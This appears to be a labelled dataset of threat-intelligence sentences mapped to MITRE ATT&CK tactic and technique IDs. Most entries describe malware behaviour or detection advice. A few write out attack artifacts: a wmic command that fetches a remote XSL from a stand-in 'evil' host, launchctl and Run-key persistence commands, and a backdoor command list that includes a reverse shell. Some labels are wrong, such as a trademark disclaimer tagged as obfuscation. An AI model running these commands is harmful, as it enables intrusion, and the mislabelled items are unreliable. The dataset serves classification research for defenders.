madox81/Adema_ATTACK_DS huggingface dataset:
Input: POWERSTATS can retrieve and execute additional PowerShell payloads from the C2 server.

Tactics: TA0011
Techniques: T1105
Input: Monitor for unexpected files with manipulated data in order to manipulate external outcomes or hide activity

Tactics: TA0040
Techniques: T1565.001, T1565.003, T1565
Input: Lucifer can identify the process that owns remote connections.

Tactics: TA0007
Techniques: T1057
Input: PlayList.vbs contains the obfuscated codes, which it executes after decrypting the obfuscations.

Tactics: TA0005
Techniques: T1027
Input: Additionally it checks to determine if common analysis tools are currently running on the infected system

Tactics: TA0007
Techniques: T1518.001, T1518
Input: Silence has injected a DLL library containing a Trojan into the fwmain32.exe process.

Tactics: TA0004, TA0005
Techniques: T1055
Input: Unknown Logger can obtain information about the victim's IP address.

Tactics: TA0007
Techniques: T1016
Input: APT28 has used CVE-2015-1701 to access the SYSTEM token and copy it into the current process as part of privilege escalation.

Tactics: TA0004, TA0005
Techniques: T1134, T1134.001
Input: Revenge RAT has a plugin for screen capture.

Tactics: TA0009
Techniques: T1113
Input: Gelsemium can use custom shellcode to map embedded DLLs into memory.

Tactics: TA0005
Techniques: T1620
Input: Rifdoor has created a new registry entry at HKEY_CURRENT_USERS\Software\Microsoft\Windows\CurrentVersion\Run\Graphics with a value of C:\ProgramData\Initech\Initech.exe /run.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: The TAINTEDSCRIBE command and execution module can perform target system enumeration.

Tactics: TA0007
Techniques: T1018
Input: Adversaries may use methods of capturing user input to obtain credentials or collect information.

Tactics: TA0006, TA0009
Techniques: T1056
Input: Proactively reset accounts that are known to be part of breached credentials either immediately, or after detecting bruteforce attempts.

Tactics: TA0006
Techniques: T1110.004, T1110
Input: Prevent credential overlap across systems of administrator and privileged accounts, particularly between network and non-network platforms, such as servers or endpoints.

Tactics: TA0003, TA0005, TA0006
Techniques: T1601, T1556, T1556.004, T1601.001
Input: Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors.

Tactics: TA0005, TA0007
Techniques: T1622
Input: Carberp has captured credentials when a user performs login through a SSL session.

Tactics: TA0009
Techniques: T1185
Input: This shortcut file calls the built-in ‘control.exe’ utility to in turn load the previously dropped malicious CPL file of ‘winhelp.cpl’

Tactics: TA0003, TA0004
Techniques: T1547.009, T1547
Input: APT38 has used brute force techniques to attempt account access when passwords are unknown or when password hashes are unavailable.

Tactics: TA0006
Techniques: T1110
Input: Send exfiltrated data   taskkill.exe Ends working cycle of modules    Persistence Persistence modules are based on scheduled tasks and system registry

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a Web Shell.

Tactics: TA0003
Techniques: T1525
Input: Monitor newly constructed scheduled jobs that may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053
Input: BONDUPDATER can use DNS and TXT records within its DNS tunneling protocol for command and control.

Tactics: TA0011
Techniques: T1071.004, T1071
Input: Ragnar Locker has been delivered as an unsigned MSI package that was executed with msiexec.exe.

Tactics: TA0005
Techniques: T1218, T1218.007
Input: Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net).

Tactics: TA0011
Techniques: T1568, T1568.002
Input: It also has the ability to monitor the cryptocurrency miner file and process.

Tactics: TA0007
Techniques: T1083
Input: DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.

Tactics: TA0006, TA0009
Techniques: T1557, T1557.003
Input: Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables.

Tactics: TA0009
Techniques: T1602.001, T1602
Input: APT38 has conducted spearphishing campaigns using malicious email attachments.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments).

Tactics: TA0002, TA0003, TA0004
Techniques: T1053
Input: Carberp has used XOR-based encryption to mask C2 server locations within the trojan.

Tactics: TA0005
Techniques: T1027
Input: APT41 used a ransomware called Encryptor RaaS to encrypt files on the targeted systems and provide a ransom note to the user.

Tactics: TA0040
Techniques: T1486
Input: Monitor for changes to boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment.

Tactics: TA0003, TA0005
Techniques: T1542.005, T1542
Input: The Komplex trojan creates a persistent launch agent called with $HOME/Library/LaunchAgents/com.apple.updates.plist with launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist.

Tactics: TA0003, TA0004
Techniques: T1543.001, T1543
Input: Naikon has used schtasks.exe for lateral movement in compromised networks.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Machete has been packed with NSIS.

Tactics: TA0005
Techniques: T1027.002, T1027
Input: Rundll32.exe is used as a way of executing Flame at the command-line.

Tactics: TA0005
Techniques: T1218, T1218.011
Input: APT28 also executed a .dll for a first stage dropper using rundll32.exe.

Tactics: TA0005
Techniques: T1218, T1218.011
Input: TajMahal has the ability to capture VoiceIP application audio on an infected host.

Tactics: TA0009
Techniques: T1123
Input: CHOPSTICK  includes runtime checks to identify an analysis environment and prevent execution on it.

Tactics: TA0005, TA0007
Techniques: T1497
Input: Monitor executed commands and arguments that may abuse security support providers (SSPs) to execute DLLs when the system boots.

Tactics: TA0003, TA0004
Techniques: T1547.005, T1547
Input: Babuk has the ability to use the command line to control execution on compromised hosts.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Variants of Emissary encrypt payloads using various XOR ciphers, as well as a custom algorithm that uses the "srand" and "rand" functions.

Tactics: TA0005
Techniques: T1027
Input: TeamTNT has used open-source tools such as Weave Scope to target exposed Docker API ports and gain initial access to victim environments.

Tactics: TA0001, TA0003
Techniques: T1133
Input: Its developer used the open source Invoke-Obfuscation tool to obfuscate this PowerShell script, specifically using the COMPRESS technique offered by Invoke-Obfuscation

Tactics: TA0005
Techniques: T1027
Input: Lazarus Group has created new LinkedIn and Twitter accounts to conduct social engineering against potential victims.

Tactics: TA0042
Techniques: T1585, T1585.001
Input: Machete stores files and logs in a folder on the local drive.

Tactics: TA0009
Techniques: T1074.001, T1074
Input: As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used.

Tactics: TA0001
Techniques: T1199
Input: Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.

Tactics: TA0002
Techniques: T1059.008, T1059
Input: HyperBro has the ability to pack its payload.

Tactics: TA0005
Techniques: T1027.002, T1027
Input: Hildegard has decrypted ELF files with AES.

Tactics: TA0005
Techniques: T1140
Input: InvisiMole can capture screenshots of not only the entire screen, but of each separate window open, in case they are overlapping.

Tactics: TA0009
Techniques: T1113
Input: RCSession has the ability to execute inside the msiexec.exe process.

Tactics: TA0005
Techniques: T1218, T1218.007
Input: Blue Mockingbird has used JuicyPotato to abuse the SeImpersonate token privilege to escalate from web application pool accounts to NT Authority\SYSTEM.

Tactics: TA0004, TA0005
Techniques: T1134
Input: Monitor for telemetry that provides context for modification or deletion of information related to security software processes or services such as Windows Defender definition files in Windows and System log files in Linux.

Tactics: TA0005
Techniques: T1562.001, T1562
Input: The Maze encryption process has used batch scripts with various commands.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Doki was run through a deployed container.

Tactics: TA0002, TA0005
Techniques: T1610
Input: DarkWatchman has the ability to self-extract as a RAR archive.

Tactics: TA0005
Techniques: T1140
Input: Analyze contextual data about executed DLL files, which may include information such as name, the content (ex: signature, headers, or data/media), age, user/ower, permissions,

Tactics: TA0005
Techniques: T1218, T1218.011
Input: At the same time, Enc.exe will start the encryption routine and append “. jcry ” as file extension to the encrypted file.

Tactics: TA0009, TA0040
Techniques: T1560, T1486
Input: In Kubernetes applications, set "automountServiceAccountToken: false" in the YAML specification of pods that do not require access to service account tokens.

Tactics: TA0006
Techniques: T1528
Input: JCry has used cmd.exe to launch PowerShell.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Monitor for changes made to files for unexpected modifications that attempt to hide artifacts.

Tactics: TA0005
Techniques: T1140
Input: Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None.

Tactics: TA0003
Techniques: T1098.002, T1098
Input: BACKSPACE may collect information about running processes.

Tactics: TA0007
Techniques: T1057
Input: Monitor processes with arguments that may potentially highlight adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll.

Tactics: TA0003
Techniques: T1505.005, T1505
Input: Stuxnet attempts to access network resources with a domain account’s credentials.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078, T1078.002
Input: Monitor for an attempt by a user to gain access to a network or computing resource, often by providing credentials that may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.

Tactics: TA0005, TA0008
Techniques: T1550
Input: Adversaries may similarly hide user accounts in Windows.

Tactics: TA0005
Techniques: T1564.002, T1564
Input: Dacls can scan directories on a compromised host.

Tactics: TA0007
Techniques: T1083
Input: LoudMiner has obfuscated various scripts and encrypted DMG files.

Tactics: TA0005
Techniques: T1027
Input: Cobalt Strike has the ability to load DLLs via reflective injection.

Tactics: TA0004, TA0005
Techniques: T1055, T1055.001
Input: The oldest known sample of the Delphi variant (SHA256: 5a02d4e5f6…) provided us a much stronger linkage between this Delphi Cannon and Cannon, as this sample collects system information and sends it to the C2 email address, which includes the path of the running process appended to the string Running place

Tactics: TA0007
Techniques: T1057
Input: APT37 delivers malware using spearphishing emails with malicious HWP attachments.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: RATANKBA uses cmd.exe to execute commands.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Leviathan has conducted internal spearphishing within the victim's environment for lateral movement.

Tactics: TA0008
Techniques: T1534
Input: APT18 actors deleted tools and batch files from victim systems.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: APT37's has added persistence via the Registry key HKCU\Software\Microsoft\CurrentVersion\Run\.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: T9000 performs checks for various antivirus and security products during installation.

Tactics: TA0007
Techniques: T1518.001, T1518
Input: KEYMARBLE can execute shell commands using cmd.exe.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Monitor for changes made to detect changes made to the authorized_keys file for each user on a system.

Tactics: TA0003
Techniques: T1098.004, T1098
Input: Sibot will delete itself if a certain server response is received.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: GALLIUM used PowerShell for execution to assist in lateral movement as well as for dumping credentials stored on compromised machines.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Prikormka uses DLL search order hijacking for persistence by saving itself as ntshrui.dll to the Windows directory so it will load before the legitimate ntshrui.dll saved in the System32 subdirectory.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.001, T1574
Input: BADNEWS collects C2 information via a dead drop resolver.

Tactics: TA0011
Techniques: T1102.001, T1102
Input: IcedID has established persistence by creating a Registry run key.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Hi-Zor has the ability to upload and download files from its C2 server.

Tactics: TA0011
Techniques: T1105
Input: NETWIRE can discover and close windows on controlled systems.

Tactics: TA0007
Techniques: T1010
Input: FatDuke can identify the MAC address on the target computer.

Tactics: TA0007
Techniques: T1016
Input: Forfiles can be used to locate certain types of files/directories in a system.

Tactics: TA0007
Techniques: T1083
Input: Elderwood has packed malware payloads before delivery to victims.

Tactics: TA0005
Techniques: T1027.002, T1027
Input: Data loss prevention can be detect and block sensitive data being uploaded to web services via web browsers.

Tactics: TA0010
Techniques: T1567
Input: NanHaiShu encodes files in Base64.

Tactics: TA0005
Techniques: T1027
Input: Astaroth collects the machine name and keyboard language from the system.

Tactics: TA0007
Techniques: T1082
Input: DownPaper communicates to its C2 server over HTTP.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: This is especially true in cases with hidden auto-forwarding rules.

Tactics: TA0009
Techniques: T1114, T1114.003
Input: All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks

Tactics: TA0005
Techniques: T1027
Input: Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired.

Tactics: TA0042
Techniques: T1583.003, T1583
Input: Monitor for processes being accessed that may search for common password storage locations to obtain user credentials.

Tactics: TA0006
Techniques: T1555
Input: On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Visual Basic and JavaScript scripts from executing potentially malicious downloaded content .

Tactics: TA0002
Techniques: T1059
Input: The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: For example, if C:\example path precedes C:\Windows\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\example path will be called instead of the Windows system "net" when "net" is executed from the command-line.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.007, T1574
Input: Pupy can execute Lazagne as well as Mimikatz using PowerShell.

Tactics: TA0006
Techniques: T1003, T1003.001
Input: Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class.

Tactics: TA0004, TA0005
Techniques: T1055.011, T1055
Input: Bazar can use TLS in C2 communications.

Tactics: TA0011
Techniques: T1573, T1573.002
Input: Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.

Tactics: TA0042
Techniques: T1583.001, T1583
Input: Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire.

Tactics: TA0006
Techniques: T1558.003, T1558.002, T1558
Input: To operate and evade standard analysis tools, most of the functions are hashed

Tactics: TA0005
Techniques: T1027
Input: Havij is used to automate SQL injection.

Tactics: TA0001
Techniques: T1190
Input: RTM has used spearphishing attachments to distribute its malware.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Figure 2: Textbox inside DOC The combined script from Word textbox drops the following components: \Users\[user_name]\Intel\58d2a83f7778d5.36783181.vbs \Users\[user_name]\Intel\58d2a83f777942.26535794.ps1 \Users\[user_name]\Intel\58d2a83f777908.23270411.vbs Also, the script creates a named schedule task for persistence to launch “58d2a83f7778d5.36783181.vbs” every 25 minutes

Tactics: TA0002, TA0005, TA0007
Techniques: T1033, T1087, T1036, T1204, T1059
Input: Once they are deleted by the attackers’ code, there is nothing left to be forensically recovered.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: This forces the OS to search its state table for a related TCP connection that has already been established.

Tactics: TA0040
Techniques: T1499, T1499.001
Input: The following code snippet was used to decode strings within OopsIE:out = "" for e in obfuscated_string.split("-"):    out += chr(int(e)-1)When first run, this OopsIE variant runs a variety of checks to avoid running in an analysis environment, as discussed in the previous section

Tactics: TA0005
Techniques: T1140
Input: Once loaded into memory, MESSAGETAP deletes the keyword_parm.txt and parm.txt configuration files from disk.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: 0x007CFABF  video  Desktop video recording    0x06E533C4  download  Downloads executable and injects into new process    0x00684509  ammyy  Ammyy Admin tool    0x07C6A8A5  update  Updates self    0x0B22A5A7     Add/Update klgconfig (analysis incomplete)    0x0B77F949  httpproxy  Starts HTTP proxy    0x07203363  killos  Renders computer unbootable by wiping the MBR    0x078B9664  reboot  Reboots the operating system    0x07BC54BC  tunnel  Creates a network tunnel    0x07B40571  adminka  Adds new C2 server or proxy address for pseudo-HTTP protocol    0x079C9CC2  server  Adds new C2 server for custom binary protocol    0x0007C9C2  user  Creates or deletes Windows user account    0x000078B0  rdp  Enables concurrent RDP (analysis incomplete)    0x079BAC85  secure  Adds Notification Package (analysis incomplete)    0x00006ABC  del  Deletes file or service    0x0A89AF94  startcmd  Adds command to the configuration file (see the Configuration section)    0x079C53BD  runmem  Downloads executable and injects directly into new process    0x0F4C3903  logonpasswords  Send Windows accounts details to the C2 server    0x0BC205E4  screenshot  Takes a screenshot of the desktop and sends it to the C2 server    0x007A2BC0  sleep  Backdoor sleeps until specified date    0x0006BC6C  dupl  Unknown    0x04ACAFC3     Upload files to the C2 server    0x00007D43  vnc  Runs VNC plugin    0x09C4D055  runfile  Runs specified executable file    0x02032914  killbot  Uninstalls backdoor    0x08069613  listprocess  Returns list of running processes to the C2 server    0x073BE023  plugins  Change C2 protocol used by plugins    0x0B0603B4     Download and execute shellcode from specified address    0x0B079F93  killprocess  Terminates the first process found specified by name    0x00006A34  cmd  Initiates a reverse shell to the C2 server    0x09C573C7  runplug  Plugin control    0x08CB69DE  autorun  Updates backdoor    Table 2: Supported Commands Configuration A configuration file resides in a file under the backdoor’s installation directory with the .bin extension

Tactics: TA0011, TA0010
Techniques: T1041, T1008, T1105
Input: Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.

Tactics: TA0010
Techniques: T1048.003, T1048
Input: Siloscape can run cmd through an IRC channel.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Dragonfly has disabled host-based firewalls.

Tactics: TA0005
Techniques: T1562.004, T1562
Input: Mustang Panda has used a customized PlugX variant which could spread through USB connections.

Tactics: TA0001, TA0008
Techniques: T1091
Input: Restrict administrator accounts to as few individuals as possible, following least privilege principles, that may be abused to remotely boot a machine in safe mode.

Tactics: TA0005
Techniques: T1562.009, T1562
Input: WhisperGate has been disguised as a JPG extension to avoid detection as a malicious PE file.

Tactics: TA0005
Techniques: T1036
Input: Ke3chang has used NTDSDump and other password dumping tools to gather credentials.

Tactics: TA0006
Techniques: T1003.003, T1003
Input: An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols.

Tactics: TA0006
Techniques: T1528
Input: InvisiMole can list information about files in a directory and recently opened or used documents.

Tactics: TA0007
Techniques: T1083
Input: TRITON encoded the two inject.bin and imain.bin payloads.

Tactics: TA0005
Techniques: T1027
Input: Monitoring changes to the Windows Registry may reveal malicious root certificate installation.

Tactics: TA0005
Techniques: T1553, T1553.004
Input: Remote File: wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"

Tactics: TA0005
Techniques: T1220
Input: RunningRAT gathers the OS version, logical drives information, processor information, and volume information.

Tactics: TA0007
Techniques: T1082
Input: Monitor newly constructed services that abuse control manager to execute malicious commands or payloads.

Tactics: TA0002
Techniques: T1569.002, T1569
Input: AppleSeed has the ability to use multiple dynamically resolved API calls.

Tactics: TA0002
Techniques: T1106
Input: Leviathan has infected victims using watering holes.

Tactics: TA0001
Techniques: T1189
Input: Dacls can use HTTPS in C2 communications.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Adversaries may also modify an existing Valid Accounts that they have compromised.

Tactics: TA0003
Techniques: T1098, T1098.003
Input: An adversary may attempt to enumerate the cloud services running on a system after gaining access.

Tactics: TA0007
Techniques: T1526
Input: This change is because Group 123 did not target South Korea during this campaign and Microsoft Office is standard in the rest of the world.Infection VectorsThe attackers exploited CVE-2017-0199 in order to download and execute a malicious HTA document inside of Microsoft Office

Tactics: TA0002
Techniques: T1203
Input: Bazar downloads have been hosted on Google Docs.

Tactics: TA0011
Techniques: T1102
Input: Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity.

Tactics: TA0010
Techniques: T1048.002, T1048
Input: Ebury has used DNS requests over UDP port 53 for C2.

Tactics: TA0011
Techniques: T1071.004, T1071